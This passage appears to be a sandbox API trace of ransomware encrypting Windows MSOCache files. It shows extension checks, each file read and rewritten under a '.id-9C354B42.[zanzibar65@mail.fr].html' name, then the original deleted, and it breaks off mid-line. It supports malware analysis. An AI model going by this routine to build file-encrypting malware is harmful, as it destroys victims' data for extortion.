[0034.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.573] lstrlenW (lpString=".dbf") returned 4 [0034.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.573] lstrlenW (lpString=".1cd") returned 4 [0034.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.573] lstrlenW (lpString=".jpg") returned 4 [0034.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.573] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.573] lstrlenW (lpString="Setup.xml") returned 9 [0034.573] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.574] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1872) returned 1 [0034.574] CloseHandle (hObject=0x198) returned 1 [0034.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.574] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.574] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.574] GetLastError () returned 0x0 [0034.574] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x750, lpOverlapped=0x0) returned 1 [0034.928] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x760, lpOverlapped=0x0) returned 1 [0034.929] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.929] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.929] SetEndOfFile (hFile=0x19c) returned 1 [0034.929] CloseHandle (hObject=0x19c) returned 1 [0034.930] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.930] SetEndOfFile (hFile=0x198) returned 1 [0034.930] CloseHandle (hObject=0x198) returned 1 [0034.931] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.931] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.931] lstrlenW (lpString=".doc") returned 4 [0034.931] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.931] lstrlenW (lpString=".docx") returned 5 [0034.931] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.931] lstrlenW (lpString=".pdf") returned 4 [0034.931] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.931] lstrlenW (lpString=".xls") returned 4 [0034.931] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.931] lstrlenW (lpString=".xlsx") returned 5 [0034.931] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.931] lstrlenW (lpString=".ppt") returned 4 [0034.931] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.931] lstrlenW (lpString=".zip") returned 4 [0034.931] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.932] lstrlenW (lpString=".rar") returned 4 [0034.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString=".bz2") returned 4 [0034.932] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString=".7z") returned 3 [0034.932] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.932] lstrlenW (lpString=".dbf") returned 4 [0034.932] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.932] lstrlenW (lpString=".1cd") returned 4 [0034.932] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.932] lstrlenW (lpString=".jpg") returned 4 [0034.932] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.932] lstrlenW (lpString=".doc") returned 4 [0034.932] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString=".docx") returned 5 [0034.932] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.932] lstrlenW (lpString=".pdf") returned 4 [0034.932] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString=".xls") returned 4 [0034.932] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString=".xlsx") returned 5 [0034.932] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.932] lstrlenW (lpString=".ppt") returned 4 [0034.932] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.932] lstrlenW (lpString=".zip") returned 4 [0034.932] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.933] lstrlenW (lpString=".rar") returned 4 [0034.933] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.933] lstrlenW (lpString=".bz2") returned 4 [0034.933] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.933] lstrlenW (lpString=".7z") returned 3 [0034.933] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.933] lstrlenW (lpString=".dbf") returned 4 [0034.933] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.933] lstrlenW (lpString=".1cd") returned 4 [0034.933] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.933] lstrlenW (lpString=".jpg") returned 4 [0034.933] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.933] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.933] lstrlenW (lpString="branding.xml") returned 12 [0034.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0035.401] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=596341) returned 1 [0035.401] CloseHandle (hObject=0x154) returned 1 [0035.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0035.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0035.401] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.401] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.402] GetLastError () returned 0x0 [0035.402] ReadFile (in: hFile=0x154, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x91975, lpOverlapped=0x0) returned 1 [0035.416] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x91980, lpOverlapped=0x0) returned 1 [0035.428] ReadFile (in: hFile=0x154, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.428] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.428] SetEndOfFile (hFile=0x19c) returned 1 [0035.428] CloseHandle (hObject=0x19c) returned 1 [0035.434] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.434] SetEndOfFile (hFile=0x154) returned 1 [0035.868] CloseHandle (hObject=0x154) returned 1 [0035.868] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.868] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0035.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.869] lstrlenW (lpString=".doc") returned 4 [0035.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString=".docx") returned 5 [0035.869] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.869] lstrlenW (lpString=".pdf") returned 4 [0035.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString=".xls") returned 4 [0035.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString=".xlsx") returned 5 [0035.869] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.869] lstrlenW (lpString=".ppt") returned 4 [0035.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.869] lstrlenW (lpString=".zip") returned 4 [0035.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.869] lstrlenW (lpString=".rar") returned 4 [0035.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString=".bz2") returned 4 [0035.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString=".7z") returned 3 [0035.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.869] lstrlenW (lpString=".dbf") returned 4 [0035.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.869] lstrlenW (lpString=".1cd") returned 4 [0035.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString=".jpg") returned 4 [0035.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString=".doc") returned 4 [0035.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".docx") returned 5 [0035.870] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.870] lstrlenW (lpString=".pdf") returned 4 [0035.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".xls") returned 4 [0035.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".xlsx") returned 5 [0035.870] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.870] lstrlenW (lpString=".ppt") returned 4 [0035.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString=".zip") returned 4 [0035.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.870] lstrlenW (lpString=".rar") returned 4 [0035.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".bz2") returned 4 [0035.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString=".7z") returned 3 [0035.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString=".dbf") returned 4 [0035.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString=".1cd") returned 4 [0035.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0035.870] lstrlenW (lpString=".jpg") returned 4 [0035.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.871] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.871] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.871] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0035.872] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4274) returned 1 [0035.872] CloseHandle (hObject=0x154) returned 1 [0035.872] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.872] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0035.872] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.872] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.872] GetLastError () returned 0x0 [0035.872] ReadFile (in: hFile=0x154, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0036.021] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0036.022] ReadFile (in: hFile=0x154, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.022] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0036.022] SetEndOfFile (hFile=0x1a0) returned 1 [0036.023] CloseHandle (hObject=0x1a0) returned 1 [0036.023] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.023] SetEndOfFile (hFile=0x154) returned 1 [0036.024] CloseHandle (hObject=0x154) returned 1 [0036.024] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0036.025] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0036.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.153] lstrlenW (lpString=".doc") returned 4 [0036.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString=".docx") returned 5 [0036.154] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0036.154] lstrlenW (lpString=".pdf") returned 4 [0036.154] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString=".xls") returned 4 [0036.154] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString=".xlsx") returned 5 [0036.154] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0036.154] lstrlenW (lpString=".ppt") returned 4 [0036.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.154] lstrlenW (lpString=".zip") returned 4 [0036.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.154] lstrlenW (lpString=".rar") returned 4 [0036.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString=".bz2") returned 4 [0036.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString=".7z") returned 3 [0036.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.154] lstrlenW (lpString=".dbf") returned 4 [0036.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.154] lstrlenW (lpString=".1cd") returned 4 [0036.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.154] lstrlenW (lpString=".jpg") returned 4 [0036.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.154] lstrlenW (lpString=".doc") returned 4 [0036.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString=".docx") returned 5 [0036.155] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0036.155] lstrlenW (lpString=".pdf") returned 4 [0036.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString=".xls") returned 4 [0036.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString=".xlsx") returned 5 [0036.155] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0036.155] lstrlenW (lpString=".ppt") returned 4 [0036.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.155] lstrlenW (lpString=".zip") returned 4 [0036.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.155] lstrlenW (lpString=".rar") returned 4 [0036.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString=".bz2") returned 